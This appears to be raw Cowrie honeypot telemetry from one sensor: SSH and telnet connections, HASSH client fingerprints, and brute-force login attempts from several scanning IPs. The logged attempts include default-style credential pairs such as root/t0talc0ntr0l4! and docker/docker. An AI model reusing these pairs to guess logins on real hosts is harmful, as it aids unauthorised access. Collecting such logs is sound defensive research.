{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":58980,"dst_ip":"159.203.135.109","dst_port":22,"session":"d228f2f84241","protocol":"ssh","message":"New connection: 176.32.193.16:58980 (159.203.135.109:22) [session: d228f2f84241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:02.695040Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:02.839648Z","src_ip":"176.32.193.16","session":"d228f2f84241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":58988,"dst_ip":"159.203.135.109","dst_port":22,"session":"5456c468f76a","protocol":"ssh","message":"New connection: 176.32.193.16:58988 (159.203.135.109:22) [session: 5456c468f76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:02.974213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:02.981169Z","src_ip":"176.32.193.16","session":"5456c468f76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:03.117048Z","src_ip":"176.32.193.16","session":"5456c468f76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:03.259864Z","src_ip":"176.32.193.16","session":"5456c468f76a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59524,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d0cf20a683","protocol":"ssh","message":"New connection: 47.86.95.62:59524 (10.17.0.5:22) [session: 08d0cf20a683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:10.183369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:12.000711Z","src_ip":"47.86.95.62","session":"08d0cf20a683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:12.006587Z","src_ip":"47.86.95.62","session":"08d0cf20a683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:13.884446Z","src_ip":"8.218.166.49","session":"62926ab2358c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:14.061500Z","src_ip":"8.218.166.49","session":"dd08f9dae7bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:18.049736Z","src_ip":"47.86.95.62","session":"08d0cf20a683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:19.818668Z","src_ip":"47.86.95.62","session":"08d0cf20a683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:22.225259Z","src_ip":"8.218.166.49","session":"62926ab2358c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49740,"dst_ip":"10.17.0.5","dst_port":22,"session":"02383978cdd4","protocol":"ssh","message":"New connection: 47.86.95.62:49740 (10.17.0.5:22) [session: 02383978cdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:24.022946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:24.027911Z","src_ip":"47.86.95.62","session":"02383978cdd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:24.391530Z","src_ip":"47.86.95.62","session":"02383978cdd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:25.019118Z","src_ip":"47.86.95.62","session":"02383978cdd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:26.230921Z","src_ip":"47.86.95.62","session":"02383978cdd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49756,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a413fd5013","protocol":"ssh","message":"New connection: 47.86.95.62:49756 (10.17.0.5:22) [session: 27a413fd5013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:29.404108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:29.408679Z","src_ip":"47.86.95.62","session":"27a413fd5013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:29.615834Z","src_ip":"47.86.95.62","session":"27a413fd5013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:30.355639Z","src_ip":"47.86.95.62","session":"27a413fd5013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:31.569669Z","src_ip":"47.86.95.62","session":"27a413fd5013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.251.157.32","src_port":57941,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50a60fb617b","protocol":"telnet","message":"New connection: 64.251.157.32:57941 (10.17.0.5:23) [session: c50a60fb617b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:33.066965Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58056,"dst_ip":"10.17.0.5","dst_port":22,"session":"be764aa37925","protocol":"ssh","message":"New connection: 8.218.166.49:58056 (10.17.0.5:22) [session: be764aa37925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:52.050858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:52.349723Z","src_ip":"8.218.166.49","session":"be764aa37925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:52.354879Z","src_ip":"8.218.166.49","session":"be764aa37925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37262,"dst_ip":"10.17.0.5","dst_port":22,"session":"45c64c0a87e2","protocol":"ssh","message":"New connection: 47.86.95.62:37262 (10.17.0.5:22) [session: 45c64c0a87e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:53.400848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:53.645027Z","src_ip":"47.86.95.62","session":"45c64c0a87e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:53.650039Z","src_ip":"47.86.95.62","session":"45c64c0a87e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:55.986315Z","src_ip":"47.86.95.62","session":"45c64c0a87e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:03:58.643855Z","src_ip":"47.86.95.62","session":"45c64c0a87e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57580,"dst_ip":"10.17.0.5","dst_port":22,"session":"49b8dda2b2fc","protocol":"ssh","message":"New connection: 47.86.95.62:57580 (10.17.0.5:22) [session: 49b8dda2b2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:09.739722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:09.792370Z","src_ip":"47.86.95.62","session":"49b8dda2b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:09.990428Z","src_ip":"47.86.95.62","session":"49b8dda2b2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:10.795913Z","src_ip":"47.86.95.62","session":"49b8dda2b2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:12.077027Z","src_ip":"47.86.95.62","session":"49b8dda2b2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:18.855478Z","src_ip":"8.218.166.49","session":"be764aa37925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.4","message":"Connection lost after 35.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:27.490737Z","src_ip":"8.218.166.49","session":"be764aa37925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":49596,"dst_ip":"10.17.0.5","dst_port":22,"session":"335556df24ef","protocol":"ssh","message":"New connection: 47.86.95.62:49596 (10.17.0.5:22) [session: 335556df24ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:31.202850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:31.692817Z","src_ip":"47.86.95.62","session":"335556df24ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:31.697577Z","src_ip":"47.86.95.62","session":"335556df24ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53298,"dst_ip":"10.17.0.5","dst_port":22,"session":"0344e266dca5","protocol":"ssh","message":"New connection: 8.218.166.49:53298 (10.17.0.5:22) [session: 0344e266dca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:32.308052Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.129.105.80","src_port":50924,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eb25eb6e255","protocol":"telnet","message":"New connection: 86.129.105.80:50924 (159.203.135.109:23) [session: 0eb25eb6e255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:32.646517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:04:32.961054Z","src_ip":"8.218.166.49","session":"0344e266dca5","protocol":"ssh"}
